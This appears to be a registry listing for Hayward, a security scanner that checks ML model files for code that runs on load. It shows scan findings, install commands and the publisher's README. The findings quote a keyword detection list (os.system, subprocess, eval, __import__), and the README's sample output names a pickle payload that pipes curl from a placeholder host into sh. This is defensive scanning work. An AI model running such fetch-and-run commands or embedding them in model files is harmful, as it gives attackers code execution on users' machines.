Hayward MCP server
io.github.hedgerow-dev/hayward·v1.4.1·1 starsChecks ML model files (pickle, PyTorch, joblib, NumPy, GGUF, ONNX) for code that runs on load.
1 stars771 downloads/wk
Reviews
Write oneNobody has reviewed Hayward yet.
If you have run it, two minutes of your experience saves the next person an afternoon.
Hayward tools (1)
write = sends, deletes, buys or postsRead from the package source without running it. The installed server may list more.
scan_pathScan a model file or directory for unsafe content without loading it.
Public scan report
scanner v0.1.10 · 2026-10-24 · same rubric, same numbers if you re-run it
- Code scan25 source files scanned8/25
- –Live reliabilityno gateway calls yet and no remote to proben/a
- –Tool poisoningtools not inspected (local package is not executed); not countedn/a
- Auth qualitylocal package, no credentials required12/15
- Maintenancelast push 1 days ago15/15
- Maintainer identityregistry namespace matches repository owner6/10
Findings (2)
- highcurl | sh in a script
install.curl-pipehayward-1.4.1/hayward/_pickle_engine.py: …oncrete args) -- e.g. resolving `os.system('curl ... | sh')` instead of just noting that `os.… - mediumeval / new Function used
exec.evalhayward-1.4.1/hayward/_pickle_engine.py: …"os.system", b"subprocess", b"exec(", b"eval(", b"__import__", b"posix\nsystem", …
How Hayward compares
Against every graded AI and agents MCP server, from our own scans and uptime checks. Updated after each scan run.
- Safety score
- 63/100
- higher than 19% of 4,460 AI and agents servers
- Tools
- 1
- the typical AI and agents server has 6
- Tools that change things
- 0%
- typical: 0%. Fewer write tools means less an agent can break
- GitHub stars
- 1
- more than 50% of 2,711 AI and agents servers
- Downloads a week
- 771
- more than 91% of 1,538 AI and agents servers with a package
What its tools let an agent do: 1 read
Install Hayward in Claude Code, Cursor or VS Code
claude mcp add hayward -- uvx hayward
What the publisher says
From the Hayward repository's README, as published. We do not edit it. Read it on GitHub
Hayward
<!-- mcp-name: io.github.hedgerow-dev/hayward -->
Security scanner for machine-learning model files. Know whether a checkpoint will run code on your machine, before you load it.
pip install hayward
hayward scan ./modelsCRITICAL MFV-PICKLE-001 checkpoints/model.pt
Pickle file references unsafe callable(s) that grant code/command
execution on load: posix.system('curl http://example.invalid | sh').
1 finding(s): 1 criticalOr try it in your browser. Same scanner, compiled to WebAssembly. Drop a checkpoint on the page and it stays on your machine.
Guard the load itself
A scan checks a file before you load it. The guard checks it while you do:
import hayward.guard # pickle.load, joblib.load, numpy.load and torch.load now refuse dangerous callsEach load is scanned first, then every function the file asks for is checked before it runs. The default mode raises the bar but is not a sandbox. For files you do not trust, hayward.guard.install(strict=True) refuses anything not on the known-safe list. The usage guide lists what it does not cover.
Let your coding agent check first
pip install "hayward[mcp]"
claude mcp add hayward -- hayward mcpThe problem
torch.load, joblib.load and numpy.load(allow_pickle=True) execute code from the file they read. That is not a bug, it is what pickle does.
The file is named pytorch_model.bin, and the .bin is doing a lot of work in that sentence. It is a program. Loading it is running it, on your laptop, with your credentials, as you.
Who it is for
Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.
What makes it different
It stays quiet. A gate that cries wolf gets switched off, so it is built to report real models cleanly and reserve the INFO tier for content it could not verify. Any figures we quote are self-measured and not independently reproducible; Accuracy sets out what it does and does not support, and the harness runs it against your own corpus.
It tells you when it could not look. A container it could not fully walk, or content it could not verify, gets an explicit coverage finding rather than a clean verdict, and a parse error never erases what was already found. Attackers hide payloads behind deliberate parse errors, so a payload followed by junk still scans as critical. One honest limit: bytes that match no model format at all, from the first byte, report nothing.
It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.
It installs anywhere. One dependency, no model framework, no native extensions, no network. Python 3.10 and up.
It fits a build. Documented exit codes, JSON output, a threshold you set.
What it scans
Shortened. The full README is on GitHub.
Nothing above is checked by us. What we check is on the safety report.
Hayward: common questions
- Is Hayward MCP server safe?
- With care: it is graded C, so read the findings first (63/100). Read the Hayward safety report
- How do I install Hayward?
- It runs on your machine. Copy the Claude Code, Cursor, VS Code or Claude Desktop config from the install section.
- Does Hayward need an API key?
- Not as far as the registry entry and our scan can tell: no credentials are declared or required.
- Is Hayward maintained?
- The last commit was 12 days ago (2026-10-23). The latest release is v1.4.1.
- What can I use instead of Hayward?
- Servers from other publishers that do the same job: Basic Memory MCP server, IWE (iwe.md) MCP server and VisualTorch MCP server.
- How does Hayward compare with other AI and agents MCP servers?
- safety score 63/100 (higher than 19% of 4,460 AI and agents servers); tools 1 (the typical AI and agents server has 6); tools that change things 0% (typical: 0%. Fewer write tools means less an agent can break). Full comparison.
Alternatives to Hayward
Same job from other publishers: the closest match first, then the best rated.
- Basic MemoryLocal-first knowledge management with bi-directional LLM sync via Markdown files.not reviewedWidely usedB
- IWE (iwe.md)Markdown knowledge base as agent memory. Runs against the notes directory it is started in.not reviewedEstablishedA
VisualTorchRender PyTorch architecture diagrams and animated GIF reveals from trusted model source.not reviewedEstablishedA- OrcareplayRead, replay and fork recorded coding-agent runs.not reviewedEstablishedA
- OpenflowkitArchitecture diagrams for your agent: draw on the live OpenFlowKit canvas or edit diagram files.not reviewedEstablishedA